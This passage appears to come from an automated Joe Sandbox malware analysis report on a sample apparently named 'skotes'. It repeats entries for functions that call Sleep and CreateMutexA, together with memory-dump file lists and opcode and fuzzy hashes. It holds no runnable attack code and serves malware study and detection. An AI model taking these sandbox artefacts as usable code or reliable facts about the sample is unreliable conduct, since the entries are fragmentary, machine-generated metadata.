Function 00ACA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bf8dac195e2e93ab1cd0ceb3e099ec869ce78ffc4d64cf97d45b0acfefea0048
Instruction ID: 7701a75171077d07374e1a2264c8b668e5f881ffbda876b6fd4cf3520c5a764d
Opcode Fuzzy Hash: bf8dac195e2e93ab1cd0ceb3e099ec869ce78ffc4d64cf97d45b0acfefea0048
Instruction Fuzzy Hash: A0314A31B001089BEB089BBCDD89FBDB7B2EB95318F24465DE414E73E1C73699818752

Function 00ACA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e898fa7d242cefa715268463fbc4930e5553fa43a1552ff22db29c2c481bbd53
Instruction ID: 7a6bf294d7c71b00dcf977c4db0100891ae6e3c52e8ba81af92f9dde50fc3c2b
Opcode Fuzzy Hash: e898fa7d242cefa715268463fbc4930e5553fa43a1552ff22db29c2c481bbd53
Instruction Fuzzy Hash: C8314831B001089BEB0CABB8DE89F7DB7B2EF91318F20425CE415E73D5C77599818652

Function 00ACA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b77c29e5dee1d629a04ff088279afd4805f91d20c06af9337641164de20895d4
Instruction ID: a7d618b6ca32359dc9d2970a5e633981e51acab233a6140e066abecbd981a7cd
Opcode Fuzzy Hash: b77c29e5dee1d629a04ff088279afd4805f91d20c06af9337641164de20895d4
Instruction Fuzzy Hash: 6C312A31B001088BEB08DBB8DD89F7DB761EB95718F24865CE415E73D5CB3999818752

Function 00ACA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0656edfb080b1b88cef2e9e95bc8aef49dc37f2146da55e74901a8da78fa907a
Instruction ID: eab312d6fbb39d4b44f026cb99c15bbb6b57d698742e6ce7023f084553da7519
Opcode Fuzzy Hash: 0656edfb080b1b88cef2e9e95bc8aef49dc37f2146da55e74901a8da78fa907a
Instruction Fuzzy Hash: F3314831B002088BEB08DBB8DD89F7DB7B2EB95318F24865CE419E73D1C73999818752

Function 00AC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

